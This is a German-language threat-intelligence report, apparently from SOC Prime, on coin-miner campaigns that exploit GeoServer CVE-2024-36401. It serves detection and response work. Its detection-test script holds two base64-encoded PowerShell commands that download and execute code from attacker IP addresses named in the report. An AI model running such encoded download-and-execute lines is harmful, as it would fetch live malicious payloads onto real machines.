SOC Prime Bias: Kritisch

23 Dec 2025 10:38 UTC

GeoServer unter Angriff: Malware Coin Miner Kampagnen

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
GeoServer unter Angriff: Malware Coin Miner Kampagnen
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Bedrohungsakteure nutzen die GeoServer-Schwachstelle für Remote-Code-Ausführung CVE-2024-36401, um Kryptowährungs-Miner und NetCat auf ungepatchten Servern zu installieren. Die Aktivität stützt sich auf PowerShell, Bash und certutil, um XMRig von mehreren bösartigen Domains und IP-Adressen herunterzuladen und zu starten. Mehrere Downloader-Skripte und Dropper werden verwendet, häufig in ZIP-Archiven verpackt und als Dienste über NSSM gespeichert. Das Hauptziel ist es, Rechenressourcen für unbefugtes Mining zu beschlagnahmen.

Untersuchung

Der Bericht skizziert drei Varianten (A, B, C), die kodierte PowerShell, auf Bash basierende Abrufskripte und certutil verwenden, um Miner-Nutzlasten von pool.supportxmr.com und mehreren aaaaaaaaa.cyou-Subdomains abzurufen. Verteilungsmethoden umfassen Batch-Skripte, ZIP-Bundles und einen maßgeschneiderten Downloader namens systemd zusammen mit HTTP-Basic-Authentifizierungsdaten. Analysten extrahierten wichtige Indikatoren—URLs, IP-Adressen und Dateinamen—zur Unterstützung der Erkennung und des Umfangs.

Abschwächung

Wenden Sie GeoServer-Patches an, die CVE-2024-36401 beheben, und halten Sie die Deployments auf der neuesten unterstützten Version. Blockieren Sie ausgehende Verbindungen zu bekannten Mining-Pools und verwandter Infrastruktur und überwachen Sie verdächtige kodierte PowerShell- oder Bash-Ausführungen. Beschränken Sie die Verwendung von certutil für Nicht-Admin-Kontexte und erzwingen Sie Anwendungs-Whitelistings, um unbefugte Dienste, die über NSSM installiert werden, zu verhindern.

Reaktion

Implementieren Sie Erkennungen für die beobachteten Kommandozeilen, Hashes und Netzwerkindikatoren. Isolieren Sie betroffene Hosts, beseitigen Sie Miner-Dienste und Persistenz-Artefakte und führen Sie einen forensischen Sweep auf sekundäre Nutzlasten durch. Drehen Sie exponierte Anmeldeinformationen um und fordern Sie Multi-Faktor-Authentifizierung für den administrativen Zugriff.

Angriffsfluss

Simulationsdurchführung

Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zum Auslösen der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und sollen die genaue Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat eine bösartige Base64-Nutzlast erhalten, die eine anfällige GeoServer-Konfigurationsdatei herunterlädt, ausführt und dann einen Kryptowährungs-Miner ablegt. Um einfache Skriptblock-Erkennung zu vermeiden, verwendet der Angreifer den -enc Schalter mit einem vorab kodierten String (eines der zwei bekannten IOCs). Der Angreifer führt die Nutzlast lokal auf einem kompromittierten Windows-Host aus, was eine powershell.exe Prozesserstellung verursacht, die den genauen Base64-String enthält, den die Regel überwacht.

  • Regressionstestskript:

     # -------------------------------------------------
      #  Regression script to trigger the Sigma rule
      # -------------------------------------------------
      # Payload 1 (matches first IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Payload 2 (matches second IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Bereinigungsbefehle:

     # -------------------------------------------------
      #  Bereinigung - beenden Sie alle verbliebenen PowerShell-Nutzlasten
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force